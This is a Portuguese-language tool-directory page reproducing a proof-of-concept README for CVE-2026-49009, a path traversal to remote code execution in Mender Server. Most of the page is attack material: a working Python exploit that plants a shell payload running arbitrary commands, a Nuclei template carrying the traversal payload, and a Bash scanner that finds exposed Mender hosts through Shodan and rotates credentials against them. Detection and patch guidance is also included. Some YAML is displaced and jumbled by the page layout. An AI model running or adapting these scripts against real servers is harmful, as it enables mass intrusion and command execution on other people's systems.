Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49009 — Mender Server - Path Traversal Autenticado para RCE | Kitploit
Ferramentas/GitHubGitHub/inteleon404/cve-2026-49009
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubinteleon404/cve-2026-49009

CVE-2026-49009

Mender Server - Path Traversal Autenticado para RCE

Ver Repositório
5há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49009 — Travessia de Caminho Autenticada para Execução Remota de Código no Servidor Mender

CVE CVSS CWE Status License

Descoberto por j0xh-sec via HackerOne · PoC por INTELEON404


Índice

  • Resumo da Vulnerabilidade
  • Versões Afetadas
  • Análise Técnica
  • Prova de Conceito
    • Exploit em Python
    • Template Nuclei
    • Scanner ShodanX + Nuclei
  • Uso
  • Detecção e Indicadores
  • Remediação
  • Linha do Tempo
  • Referências
  • Aviso Legal

Resumo da Vulnerabilidade

Descrição

As versões do Mender Server ≤4.1.0 e ≤4.0.1 contêm uma vulnerabilidade de travessia de caminho autenticada no ponto de extremidade da API de geração de artefato de arquivo único. Um atacante fornecendo sequências ../ no campo filename pode sobrescrever /usr/bin/mender-artifact dentro do contêiner create-artifact-worker. Quando a próxima etapa do fluxo de trabalho invoca este binário, comandos arbitrários são executados como código.

Em ambientes Hosted Mender multi-inquilino, o contêiner de trabalho compartilhado processa artefatos para todos os inquilinos — possibilitando comprometimento entre inquilinos.


Versões Afetadas


Análise Técnica

Causa Raiz

O ponto de extremidade /api/management/v1/deployments/artifacts/generate aceita um campo filename dentro de um parâmetro JSON args. Esse valor é usado para construir o caminho de gravação em disco durante a geração do artefato. Sequências de travessia de caminho (../) não são sanitizadas, permitindo que o valor controlado pelo atacante escape do diretório de upload pretendido.

Fluxo de Ataque```

┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Por Que Isso Funciona

| Fator | Explicação |
|---|---|
| **Caminho não sanitizado** | `../../../../usr/bin/mender-artifact` escapa do destino pretendido `/opt/mender/app/` |
| **Processamento assíncrono** | O `create-artifact-worker` escreve o arquivo de forma assíncrona, antes de qualquer validação downstream |
| **Sequestro de binário** | Etapas subsequentes do fluxo de trabalho invocam `/usr/bin/mender-artifact` como parte da operação normal |
| **Reutilização de contêiner** | Em implantações multi-inquilino, o mesmo contêiner worker processa artefatos para todos os inquilinos |

---

## Prova de Conceito

> **Autorização necessária.** Execute apenas contra sistemas que você possui ou tem permissão explícita por escrito para testar.

### Exploit em Python

<details>
<summary>▶ Ver código do exploit</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

Nuclei Template

▶ Ver template (CVE-2026-49009.yaml)```yaml id: CVE-2026-49009

info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated

http:

  • raw:

    • |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

      ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"

      cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"

      CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"

      single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"

      qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json

      {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream

      #!/bin/sh echo ------WebKitFormBoundary{{randstr}}--

    matchers-condition: or matchers:

    If the instance responds with a 400 Bad Request indicating a parsing error or


Utilização

Requisitos

PoC em Python```bash

python3 cve-2026-49009.py
-t https://mender-server.local
-u [email protected]
-p 's3cret!'
-c 'id > /tmp/pwned.txt'

root@kitploit:~
### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

Scanner```bash

Full automatic scan (ShodanX + Nuclei)

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'

Credential rotation from file

./cve-2026-49009-scanner.sh -c creds.txt

Skip discovery, scan known targets

./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'

Extended scan

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150

root@kitploit:~
---

## Detecção e Indicadores

### Aplicativo / Host

| Indicador | Descrição |
|---|---|
| Cabeçalho `Location` após nome de arquivo com travessia | Servidor retorna `Location` após aceitar nome de arquivo contendo `../` |
| Nomes de artefato suspeitos | Padrões: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| Timestamp do binário modificado | Timestamp de `/usr/bin/mender-artifact` alterado dentro do contêiner worker |
| Saída inesperada do worker | Logs do contêiner mostrando comandos não relacionados ao processamento de artefatos |

### Rede

| Indicador | Descrição |
|---|---|
| POST para `artifacts/generate` | Com JSON `args` contendo sequências `../` |
| Par de autenticação + upload | Login de autenticação básica seguido imediatamente por upload multipart do mesmo IP de origem |

### Lógica de Correspondência do Nuclei

O template retorna um resultado positivo quando:
1. `POST /useradm/auth/login` → `HTTP 200` + JWT válido (> 100 caracteres)
2. `POST /artifacts/generate` → `HTTP 2xx` + cabeçalho `Location` presente

Um servidor corrigido (≥ 4.1.1 / 4.0.2) rejeita o caminho de travessia com `HTTP 4xx` na etapa 2.

---

## Remediação

| Prioridade | Ação |
|---|---|
| **Imediata** | Atualizar para o Mender Server **4.1.1** ou **4.0.2** |
| **Controle compensatório** | Habilitar assinatura criptográfica de artefatos — dispositivos rejeitam artefatos adulterados |
| **Solução alternativa** | Restringir acesso à API a redes confiáveis; desabilitar geração de artefatos se não utilizada |
| **Auditoria** | Revisar logs de solicitações de geração de artefato com valores incomuns de `filename` |

---

## Linha do Tempo

| Data | Evento |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 lançado com correção |
| 2026-05-27 | CVE publicado; aviso divulgado pela Northern.tech |
| 2026-05-27 | PoC publicado por INTELEON404 |

---

## Referências

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Northern.tech Security Advisory](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [OpenCVE Entry](https://app.opencve.io/cve/CVE-2026-49009)
- [Tenable CVE Page](https://www.tenable.com/cve/CVE-2026-49009)
- [Mender Server Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Mender Enterprise Changelog](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## Aviso Legal

> [!WARNING]
> **Apenas para testes de segurança autorizados e fins educacionais.**
>
> Esta prova de conceito destina-se estritamente ao uso contra sistemas que você possui ou para os quais recebeu **permissão explícita por escrito** para testar. O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act (CMA) e legislação equivalente em todo o mundo.
>
> Os autores não aceitam responsabilidade por uso indevido, danos ou atividades ilegais decorrentes deste material.

---

<div align="center">

**Descoberto por** [j0xh-sec](https://hackerone.com/j0xh-sec) via HackerOne · Divulgação responsável para Northern.tech  
**PoC por** INTELEON404 · Avaliação de segurança autorizada

</div>
Baixar ferramenta
CampoDetalhe
CVE IDCVE-2026-49009
Pontuação CVSS9.9 Crítico — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-22 — Limitação Imprópria de um Nome de Caminho para um Diretório Restrito
Produto AfetadoNorthern.tech Mender Server (Comunidade & Empresarial)
Descoberto Porj0xh-sec via HackerOne (divulgação responsável)
Autor do PoCINTELEON404 — Avaliação de segurança autorizada
CVE Publicado2026-05-27
Patch Lançado2026-04-01 (Mender Server 4.1.1 / 4.0.2)
ProdutoVersões VulneráveisVersão Corrigida
Mender Server (Community)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Mender Server (Enterprise)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Hosted MenderTodas (antes do patch)Atualizado automaticamente

schema validation failure specifically from the deployment service, the path exists.

  • type: dsl dsl:
    • "status_code == 400"
    • "contains(body, 'deployment') || contains(body, 'artifact')" condition: and

Secure setups or unauthenticated attempts to reach this deep API route will

typically return a 401 Unauthorized, validating endpoint presence but blocking access.

  • type: dsl dsl:
    • "status_code == 401"
    • "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or
root@kitploit:~
</details>

## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/36707/5c8a69f64497e83df558e6d279b781e9a0ee7cf5bb39cbc0df16bff464ebb5d8/15d30fbbab29d646b3ab7c75f2a4752839a1ca010fa26912e638bf4a128424d8-display-v1.webp" alt="poc" border="0"></a>

---

### ShodanX + Nuclei Scanner

Combina o reconhecimento do [ShodanX](https://github.com/RevoltSecurities/ShodanX) com a varredura do Nuclei para descobrir e avaliar instâncias do Mender Server em escala.

**Fases:**
1. **Descoberta** — ShodanX dork `http.title:"Mender"`, extrai pares IP:porta
2. **Varredura** — Nuclei executa o template CVE contra alvos descobertos com rotação de credenciais
3. **Relatório** — Saída JSON deduplicada + texto simples

<details>
<summary>▶ Ver script do scanner (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()

usage() {
    cat <<EOF
Usage: $0 [options]
  -u, --username   Mender username
  -P, --password   Mender password
  -c, --creds      Credentials file (username:password, one per line)
  -q, --query      Shodan query (default: http.title:"Mender")
  -o, --output     Output directory
  -p, --pages      Shodan result pages (default: 3)
  -r, --rate       Nuclei rate limit (default: 50)
  -n, --no-shodan  Skip ShodanX discovery
  -t, --targets    Target file (used with --no-shodan)
  -h, --help       Show this help
EOF
    exit 0
}

while [[ $# -gt 0 ]]; do
    case "$1" in
        -q|--query)     SHODAN_QUERY="$2"; shift 2 ;;
        -o|--output)    OUTPUT_DIR="$2";   shift 2 ;;
        -p|--pages)     PAGES="$2";        shift 2 ;;
        -u|--username)  USERNAME="$2";     shift 2 ;;
        -P|--password)  PASSWORD="$2";     shift 2 ;;
        -c|--creds)     CREDS_FILE="$2";   shift 2 ;;
        -n|--no-shodan) NO_SHODAN=true;    shift   ;;
        -t|--targets)   TARGETS_FILE="$2"; shift 2 ;;
        -r|--rate)      RATE="$2";         shift 2 ;;
        -h|--help)      usage ;;
        *) echo "Unknown option: $1"; usage ;;
    esac
done

check_deps() {
    command -v shodanx &>/dev/null || {
        echo "[*] Installing ShodanX..."
        pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
    }
    command -v nuclei &>/dev/null || {
        echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        exit 1
    }
}

write_template() {
    cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
  name: Mender Server - Authenticated Path Traversal to RCE
  author: j0xh-sec
  severity: critical
  description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
  remediation: Upgrade to 4.1.1 or 4.0.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49009
    - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-49009
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: northern.tech
    product: mender_server
  tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
  - raw:
      - |+
        POST /api/management/v1/useradm/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64('{{username}}:{{password}}')}}
        {}
      - |+
        POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{jwt}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"
        cve-poc-{{randhex_6}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="args"
        Content-Type: application/json
        {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="file"; filename="payload.sh"
        Content-Type: application/octet-stream
        #!/bin/sh
        /usr/bin/id>/tmp/.cve-2026-49009
        ------WebKitFormBoundary{{randstr}}--
    extractors:
      - type: regex
        name: jwt
        part: body
        internal: true
        regex:
          - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'len(jwt) > 100'
          - 'status_code_2 >= 200 && status_code_2 < 300'
          - 'contains(to_string(header_2_all), "Location")'
        condition: and
TMPL
    echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}

shodanx_discover() {
    echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
    mkdir -p "${OUTPUT_DIR}"
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true

    if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
       grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
        :
    else
        grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
            "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
    fi
    echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}

nuclei_scan() {
    [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
    echo "[*] Running Nuclei scan (rate: ${RATE})..."
    for cred in "${CREDS_ARRAY[@]}"; do
        nuclei -silent \
            -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
            -l "${OUTPUT_DIR}/targets.txt" \
            -var "USERNAME=${cred%%:*}" \
            -var "PASSWORD=${cred#*:}" \
            -rate-limit "${RATE}" \
            -jsonl \
            -o "${OUTPUT_DIR}/nuclei-results.json" \
            -timeout 15 -retries 2 -irr 2>/dev/null
    done
    if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
        COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
        echo "[+] ${COUNT} vulnerability(ies) confirmed"
        jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
            sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
    else
        echo "[-] No vulnerabilities found or no results returned"
    fi
}

main() {
    check_deps
    mkdir -p "${OUTPUT_DIR}"
    write_template

    if $NO_SHODAN; then
        [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
            cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
            { echo "[!] --no-shodan requires --targets <file>"; exit 1; }
    else
        shodanx_discover
    fi

    if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
        CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
    elif [[ -n "${CREDS_FILE:-}" ]]; then
        while IFS=':' read -r u p; do
            [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
        done < "$CREDS_FILE"
    else
        echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
        exit 1
    fi

    nuclei_scan
    echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}

main
DependênciaInstalação
Python 3.8+apt install python3 python3-pip
requests / urllib3pip install requests urllib3
Nucleigo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
ShodanX (opcional)pip install git+https://github.com/RevoltSecurities/ShodanX